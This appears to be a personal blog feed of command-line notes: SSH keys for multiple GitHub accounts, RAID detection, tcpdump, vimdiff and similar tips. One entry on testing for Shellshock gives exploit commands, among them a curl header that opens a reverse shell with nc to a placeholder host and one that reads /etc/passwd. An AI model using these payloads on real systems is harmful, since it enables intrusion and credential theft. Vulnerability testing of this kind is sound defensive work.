Command Line on Ricky

Tools

Sun, 15 Mar 2026 17:52:24 +0800

tirith: Tirith guards the gate and intercepts suspicious URLs, ANSI injection, and pipe-to-shell attacks before they execute.
subtrace: Inspect HTTP requests in any server with just a single command.
prek: ⚡ Better pre-commit, re-engineered in Rust
sandbox-exec: macOS’s Little-Known Command-Line Sandboxing Tool
babyshark: Flows-first PCAP TUI (case files, gorgeous UX).
llmfit: A terminal tool that right-sizes LLM models to your system’s RAM, CPU, and GPU. Detects your hardware, scores each model across quality, speed, fit, and context dimensions, and tells you which ones will actually run well on your machine.

sandbox-exec(Deprecated)

sandbox-exec -f profile.sb command_to_run

Configuring SSH Keys for Multiple GitHub Accounts

Tue, 11 Feb 2025 15:06:00 +0800

Configuring SSH Keys for Multiple GitHub Accounts

Use Different Host values

Host github.com
 HostName github.com
 User git
 IdentityFile ~/.ssh/id_fry_ed25519

Host github-plnx
 HostName github.com
 User git
 IdentityFile ~/.ssh/id_fry_plnx_ed25519

# Instead of the actual URL
$ git clone git@github.com:planet-express/delivery_service.git

# Substitue in our custom Host value for the `github.com` part
$ git clone git@github-plnx:planet-express/delivery_service.git

Automate Substituting the Host

[include]
 path = ~/.gitconfig_custom

# See custom `Host github-plnx` in ~/.ssh/config
[url "github-plnx:planet-express"]
 insteadOf = git@github.com:planet-express

Rules that terminal programs follow

Wed, 25 Dec 2024 08:45:00 +0800

“Rules” that terminal programs follow
rule 1: noninteractive programs should quit when you press Ctrl-C
rule 2: TUIs should quit when you press q
rule 3: REPLs should quit when you press Ctrl-D on an empty line
rule 4: don’t use more than 16 colours
rule 5: vaguely support readline keybindings
- rule 5.1: Ctrl-W should delete the last word
rule 6: disable colours when writing to a pipe
rule 7: - means stdin/stdout

Advanced macOS Command-Line Tools

Wed, 13 Nov 2024 09:14:26 +0800

sips - image manipulation

sips -z <height> <width> <image> resizes the specified image, ignoring the previous aspect ratio.

sips -Z <size> <image> resizes the largest side of the specified image, preserving the aspect ratio.

sips -c <height> <width> <image> crops the specified image to the given dimensions (relative to the center of the original image).

sips -r <degrees> <image> rotates the image by the specified degrees.

How to Detect RAID Information in Linux

Mon, 28 Nov 2022 15:36:27 +0800

How to Detect RAID Information in Linux

lspci

lspci | grep RAID
00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04)

lshw

lshw -class storage
 *-raid
 description: RAID bus controller
 product: 82801 Mobile SATA Controller [RAID mode]
 vendor: Intel Corporation
 physical id: 1f.2
 bus info: pci@0000:00:1f.2
 logical name: scsi0
 version: 04
 width: 32 bits
 clock: 66MHz
 capabilities: raid msi pm bus_master cap_list emulated
 configuration: driver=ahci latency=0
 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff

smartctl

dmesg | grep -i scsi
[ 0.210852] SCSI subsystem initialized
[ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243)
...
[ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5
[ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk
[ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0

smartctl --all /dev/sda
Model Family: Seagate Laptop HDD
Device Model: ST320LT012-9WS14C
Serial Number: S0V3R9LL
LU WWN Device Id: 5 000c50 05be4653c
Firmware Version: 0001YAM1
User Capacity: 320,072,933,376 bytes [320 GB]
Sector Sizes: 512 bytes logical, 4096 bytes physical
Rotation Rate: 5400 rpm
Form Factor: 2.5 inches
Device is: In smartctl database 7.3/5319
ATA Version is: ATA8-ACS T13/1699-D revision 4
SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s)
Local Time is: Sat Nov 19 20:52:01 2022 PKT
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
...

MegaCLI

megacli -LDInfo -Lall -aALL
Adapter 0 -- Virtual Drive Information:
Virtual Drive: 0 (Target Id: 0)
Name : SEAGATE
RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
Size : 320 GB
Sector Size : 512
Mirror Data : 320 GB
State : Optimal
...

lsscsi

lsscsi
[0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda

Vendor-Specific Tools

omreport storage vdisk
List of Virtual Disks in the System

Controller SEAGATE Laptop HDD
ID : 0
Status : Ok
Name : SEAGATE
State : Ready
Hot Spare Policy violated : Not Assigned
Encrypted : No
Layout : RAID-0
Size : 320.00 GB (343597383680 bytes)
T10 Protection Information Status : No
Associated Fluid Cache State : Not Applicable
Device Name : /dev/sda
Bus Protocol : ATA
Media : HDD
Read Policy : Adaptive Read Ahead
Write Policy : Write Back
Cache Policy : Not Applicable
Stripe Element Size : 128 KB
Disk Cache Policy : Enabled

Test Whether a Server Is Vulnerable to Shellshock Bug

Mon, 28 Nov 2022 15:35:30 +0800

Test Whether a Server Is Vulnerable to Shellshock Bug

The Shellshock Bug

env x=' () {:;};'

Exploiting Shellshock Bug

A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines.
The ignored commands from the user are put in the “SSH_ORIGINAL_COMMAND” environment variable. If the user’s default shell is Bash, the Bash shell will parse the value of the “SSH_ORIGINAL_COMMAND” environment variable on start-up and run the embedded commands.

Examples of Shellshock Exploit Commands

## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

use nmap script to test for the vulnerability

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

How to Delete Files With Names That Contain Non-printable Characters

Mon, 14 Nov 2022 13:55:17 +0800

How to Delete Files With Names That Contain Non-printable Characters

ls -l
total 13
-rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' '
-rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx'
-rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω
-rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

Using ANSI-C Quoting

# Using ANSI-C Quoting
rm ''$'\302\226'
# We can also use the $ special character before enclosing the filename in single quotes
rm $'\356\200\215'

# pass an item's name to rm without using the ANSI-C quoting
rm '\026\033'
rm: cannot remove '\026\033': No such file or directory

Using Inode Numbers

ls -li
total 11
...
6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215'
4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

we can delete the desired file by passing its inode number to the -inum switch of the find command

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

Mon, 14 Nov 2022 12:55:39 +0800

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

chage and Password Aging

chage --list root
Last password change : Oct 01, 2022
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

Consequently, we can change any field via its associated flag:

How to Use which on an Aliased Command

Thu, 10 Nov 2022 16:24:30 +0800

How to Use which on an Aliased Command

type

type grep
grep is an alias for grep --color=auto


# Bash's type
type -P grep
/usr/bin/grep

# Zsh's type
type -p grep
grep is /usr/bin/grep

GNU which

which -a which
which: shell built-in command
/usr/bin/which


alias top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'

alias | /usr/bin/which -i top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'
 /usr/bin/uniq
 /usr/bin/sort
 /usr/bin/head

Using Vim as a Diff Tool

Thu, 07 Jul 2022 17:36:22 +0800

Using Vim as a Diff Tool

command

vim -d file1.txt file2.txt or vimdiff file1.txt file2.txt

Switching Between Diff Windows: Ctrl-w + Ctrl-w
Changing Split Window Orientation
- ctrl-w + K key combination to change window orientation from vertical to horizontal.
- ctrl-w + H shortcut to switch back window orientation to a vertical split.
Jumping Between Changes
- ]c key combination to go to the next change.
- [c shortcut to jump to the previous change.
Applying Changes From the Diff Window: :diffget, :diffput
Export Diff to the HTML Web Page: :TOhtml | w ~/diff.html

Monitoring HTTP Requests on a Network Interface in Real Time

Thu, 23 Jun 2022 16:48:42 +0800

Monitoring HTTP Requests on a Network Interface in Real Time

tcpflow

apt/dnf install tcpflow

$ sudo tcpflow -p -c -i wlp0s20f3 port 80 | grep -oE '(GET|POST) .* HTTP/1.[01]|Host: .*'
reportfilename: ./report.xml
tcpflow: listening on wlp0s20f3
GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1

GET /mirrors.txt HTTP/1.1

-p disables promiscuous mode
-c means only print the output to the console and don’t create files
-i specifies the network interface grep receives the output of tcpflow
-o means show only the matching parts of the lines that match the pattern
-E means the pattern is an extended regular expression (ERE)

httpry

https://github.com/jbittel/httpry.git

Tcpdump Usage Summary

Thu, 05 May 2022 13:39:10 +0800

Tcpdump Usage Summary

Command usage

tcpdump uses the command line. The command format is:

tcpdump [ -AdDeflLnNOpqRStuUvxX ] [ -c count ]
 [ -C file_size ] [ -F file ]
 [ -i interface ] [ -m module ] [ -M secret ]
 [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ]
 [ -W filecount ]
 [ -E spi@ipaddr algo:secret, ... ]
 [ -y datalinktype ] [ -Z user ]
 [ expression ]

Simple option notes for tcpdump

-E spi@ipaddr algo:secret , ... can decrypt IPsec ESP packets using spi@ipaddr algo:secret. The secret is the ESP key, expressed as an ASCII string. If it starts with 0x, the key is read as hex. In addition to the syntax above (spi@ipaddr algo:secret), you can append a syntax input filename for tcpdump to use (replace … in spi@ipaddr algo:secret, ... with a syntax filename). This file is opened when the first ESP packet arrives, so it is best to drop some privileges at that time (to reduce risk if the file is malicious).
-T type forces tcpdump to analyze packets according to the protocol structure specified by type. Known type values include:
- aodv (Ad-hoc On-demand Distance Vector protocol, used in Ad hoc peer-to-peer networks)
- cnfp (Cisco NetFlow protocol)
- rpc (Remote Procedure Call)
- rtp (Real-Time Applications protocol)
- rtcp (Real-Time Applications control protocol)
- snmp (Simple Network Management Protocol)
- tftp (Trivial File Transfer Protocol)
- vat (Visual Audio Tool, an application-layer protocol used for video conferencing on the internet)
- wb (distributed White Board, an application-layer protocol for online meetings)

Practical command examples

Capture communication between host 210.27.48.1 and host 210.27.48.2 or 210.27.48.3

Surprisingly, you can view images in the Linux CLI?

Tue, 14 Apr 2020 22:01:02 +0800

Surprisingly, you can view images in the Linux CLI?

FIM

sudo apt-get install fim

Common shortcuts for images in FIM:

PageUp / Down: previous/next image
+/-: zoom in/out
a: auto scale
w: fit width
h: fit height
j / k: pan down/up
f / m: flip/mirror
r / R: rotate (clockwise/counterclockwise)
ESC / q: quit

Viu

cargo install viu

Lsix

sudo apt-get install imagemagick

wget https://github.com/hackerb9/lsix/archive/master.zip